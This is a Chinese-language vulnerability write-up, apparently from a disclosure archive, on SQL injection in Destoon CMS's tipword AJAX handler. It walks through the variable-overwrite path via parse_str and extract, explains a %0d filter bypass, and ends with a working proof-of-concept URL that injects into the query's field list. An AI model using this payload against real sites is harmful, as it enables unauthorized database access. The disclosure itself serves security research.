### 简要描述:
注射 ,之前提交的漏洞和这个是一个问题。。
### 详细说明:
ajax/tipword.inc.php:
if(!$word || strlen($word) < 2 || strlen($word) > 30) exit;
$word = str_replace(array(' ','*', "\'"), array('%', '%', ''), $word);
只能30个长度 算是鸡肋吧!..
```
tag("moduleid=$mid&table=keyword&condition=moduleid=$mid and keyword like '%$word%'&pagesize=10&order=total_search desc&template=list-search_tip", -2);
```
$word 我们是可以控制的
看下tag怎么写的
```
$parameter = str_replace(array('&', '%'), array('', '##'), $parameter);(//如果这个没有替换%号的就又有一个注射了..)
$parameter = strip_sql($parameter);
parse_str($parameter, $par);//解析字符串 我们可以把word =%26变量=值这样就行了e~
if(!is_array($par)) return '';
$par = dstripslashes($par);
extract($par, EXTR_SKIP); //倒入变量 下面一大堆我们都可以覆盖的
isset($prefix) or $prefix = $db->pre;
isset($moduleid) or $moduleid = 1;
if(!isset($MODULE[$moduleid])) return '';
isset($fields) or $fields = '*';
isset($catid) or $catid = 0;
isset($child) or $child = 1;
isset($areaid) or $areaid = 0;
isset($areachild) or $areachild = 1;
(isset($dir) && check_name($dir)) or $dir = 'tag';
(isset($template) && check_name($template)) or $template = 'list';
isset($condition) or $condition = '1';
isset($group) or $group = '';
isset($page) or $page = 1;
isset($offset) or $offset = 0;
isset($pagesize) or $pagesize = 10;
isset($order) or $order = '';
isset($showpage) or $showpage = 0;
isset($showcat) or $showcat = 0;
isset($datetype) or $datetype = 0;
isset($target) or $target = '';
isset($class) or $class = '';
isset($length) or $length = 0;
isset($introduce) or $introduce = 0;
isset($debug) or $debug = 0;
isset($lazy) or $lazy = 0;
(isset($cols) && $cols) or $cols = 1;
。。。沈略。。
$query = "SELECT ".$fields." FROM ".$table." WHERE ".$condition.$order." LIMIT ".$offset.",".$pagesize;//我们之间覆盖 $fields
if($debug) echo $parameter.'<br/>'.$query.'<br/>';
$tags = $catids = $CATS = array();
$result = $db->query($query, $db_cache, $tag_expires);//入库查询
。。。沈略。。
include template($template, $dir);//包含模板文件 (template在后面不可更改的)
应为tag穿过来的是template=list-search_tip
```
模板文件内容
```
{loop $tags $i $t}<div onclick="setTip('{$t[word]}');" onmouseover="this.className='search_t_div_2';" onmouseout="this.className='search_t_div_1';" class="search_t_div_1"><span>{$t[items]} 结果</span>{$t[word]}</div>{/loop}
```
这里还有个就是 一开始把空格替换成%分号了
$word = str_replace(array(' ','*', "\'"), array('%', '%', ''), $word);
我们可以用 回车符来替代空格 这样也不会被替换 %0d
### 漏洞证明:
http://127.0.0.1/php/destoon/ajax.php?action=tipword&mid=1&word=%26fields=user()%0das%0dword
[<img src="https://images.seebug.org/upload/201406/231748108e0a4fb3ac412fd45f60a0f9650c3afd.jpg" alt="xaxaxa.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/231748108e0a4fb3ac412fd45f60a0f9650c3afd.jpg)
[<img src="https://images.seebug.org/upload/201406/23175126494d22e94163e2db378878e7e1ca3c5c.jpg" alt="xsaxsa.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/23175126494d22e94163e2db378878e7e1ca3c5c.jpg)
暂无评论